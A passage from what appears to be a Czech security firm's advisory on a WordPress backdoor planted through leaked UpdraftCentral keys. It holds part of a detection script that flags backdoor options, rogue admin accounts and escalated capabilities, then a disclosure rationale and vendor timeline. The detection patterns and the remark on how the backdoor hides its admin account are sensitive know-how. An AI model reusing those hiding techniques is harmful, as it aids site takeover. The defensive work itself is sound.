foreach ( $uids as $o ) {
    $u = ctype_digit( (string) $o->option_value ) ? $wpdb->get_row( $wpdb->prepare( "SELECT user_login, user_email FROM {$wpdb->users} WHERE ID = %d", $o->option_value ) ) : null;
    $bad = $u && preg_match( '/@example\.(com|org)$/', $u->user_email );
    $report( $bad ? 'ALERT' : 'WARN', "Option {$o->option_name} = {$o->option_value}" . ( $u ? " (user {$u->user_login} <{$u->user_email}>)" : '' ) . ( $bad ? '' : '. Check that a plugin you know uses it.' ) );
}
if ( ! $options && ! $uids ) $report( 'OK', 'No backdoor options in the database.' );

// 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.
// Read users straight from the table: the second variant hides its account from get_users() and user counts.
$user_hits = 0;
$cap_key = $wpdb->get_blog_prefix() . 'capabilities';
$flagged = array();
foreach ( $wpdb->get_results( "SELECT ID, user_login, user_email, display_name FROM {$wpdb->users} WHERE user_email LIKE '%@example.org' OR user_email LIKE '%@example.com' OR display_name = 'Site Tools'" ) as $user ) {
    $report( 'ALERT', "Backdoor-style account: {$user->user_login} <{$user->user_email}> \"{$user->display_name}\"" );
    $flagged[ $user->ID ] = true;
    $user_hits++;
}
foreach ( $wpdb->get_results( $wpdb->prepare( "SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb->users} u JOIN {$wpdb->usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered >= '2026-10-17' AND m.meta_value LIKE %s", $cap_key, '%administrator%' ) ) as $user ) {
    if ( isset( $flagged[ $user->ID ] ) ) continue;
    $report( 'WARN', "Administrator created on {$user->user_registered}: {$user->user_login} <{$user->user_email}>. Make sure you know this account." );
    $user_hits++;
}
foreach ( get_users( array( 'fields' => array( 'ID', 'user_login', 'user_email', 'display_name' ) ) ) as $user ) {
    if ( isset( $flagged[ $user->ID ] ) ) continue;
    $caps = (array) get_user_meta( $user->ID, $cap_key, true );
    $extra = array_intersect( array( 'manage_options', 'install_plugins' ), array_keys( array_filter( $caps ) ) );
    if ( $extra && empty( $caps['administrator'] ) ) {
        $report( 'WARN', "Non-administrator {$user->user_login} has extra capabilities: " . implode( ', ', $extra ) );
        $user_hits++;
    }
}
if ( ! $user_hits ) $report( 'OK', 'No backdoor accounts or hidden admin-level users.' );

echo "\n";
if ( $alerts ) {
    echo "RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\n";
} elseif ( $warnings ) {
    echo "RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\n";
} else {
    echo "RESULT: no traces found.\n";
}

Proč zveřejňujeme hned

Responsible disclosure znamená dát výrobci čas na opravu a zveřejnit podrobnosti až potom. Tady na to bohužel není důvod. Útočník backdoory do instalací WordPressu už aktivně šíří a oprava od výrobce majitelům webů nepomůže, dokud má útočník platné klíče. Jediná účinná ochrana je zrušit spojení s UpdraftCentral a web zkontrolovat, a to může udělat každý správce hned.

Zveřejnění útočníkovi nepomůže. K útoku potřebuje platné klíče, které už má, a nic v tomto článku mu nedává nový způsob útoku. Obráncům naopak dává postup, jak se chránit. Backdoor navíc vyrábí generátor, který pro každý web vytvoří jiná jména, tokeny a hesla, což naznačuje nástroj určený pro velký počet webů. Každá hodina čekání dává útočníkovi čas na další weby.

Komunikace s výrobcem a bezpečnostními firmami

      1. 2026: hlášení TeamUpdraft přes formulář prémiové podpory s logy a analýzou pro web A
      1. 2026: doplnění o útoky na weby B a C, druhý vzorek a porovnání User-Agent se skutečným dashboardem
      1. 2026: informovali jsme Wordfence a Patchstack, aby mohli přidat detekci a varovat další správce
      1. 2026: TeamUpdraft zveřejnil vyjádření k bezpečnostnímu incidentu a potvrdil únik zákaznické databáze včetně klíčů UpdraftCentral
      1. 2026: TeamUpdraft nám v odpovědi na hlášení potvrdil, že na jeho základě považuje klíče UpdraftCentral za kompromitované, a všechny zákazníky UpdraftCentral žádá odpojit a zkontrolovat každý web. Nouzová verze UpdraftPlus k uzávěrce ještě nevyšla (poslední je 1.26.11 ze 16. 10.).
      1. 2026: Patchstack zveřejnil vlastní analýzu a potvrdil obě IP adresy útočníka. Wordfence i Patchstack si vyžádaly vzorky.

Pokud jste podobný útok zaznamenali i vy, napište nám na info@nethemba.com. Vzorky a další technické podklady poskytneme výrobci i bezpečnostním týmům na požádání.

Aktualizace

      1. 2026: první zveřejnění.
      1. 2026: upozornění, že log UpdraftCentral uchovává jen 50 událostí, a kontrola access logu; doporučení nevytvářet spojení znovu; postup pro plně kompromitované weby; upřesnění dotčených verzí u CVE-2026-10795.
      1. 2026: doplněno vyjádření výrobce, který potvrdil únik klíčů z teamupdraft.com; aktualizována doporučení, oprava a rozsah.
      1. 2026 (večer): druhá varianta se skrytým administrátorem, další vzorky první varianty, druhá IP adresa, odkaz na analýzu Patchstacku, kontrolní skript ve verzi 2.
      1. 2026: doplněna přímá odpověď výrobce na naše hlášení.

more insights

Rozlomená pečeť obchodního rejstříku, ze které unikají záznamy s rodnými čísly

Stát jako největší hrozba soukromí

Nesmyslný slovenský zákon zveřejnil rodná čísla, adresy a podpisové vzory jednatelů — a není to chyba, je to napsáno v § 100 odst. 3. Jsme přesvědčeni, že největší hrozbou pro soukromí občanů je dnes samotný stát.

Read more >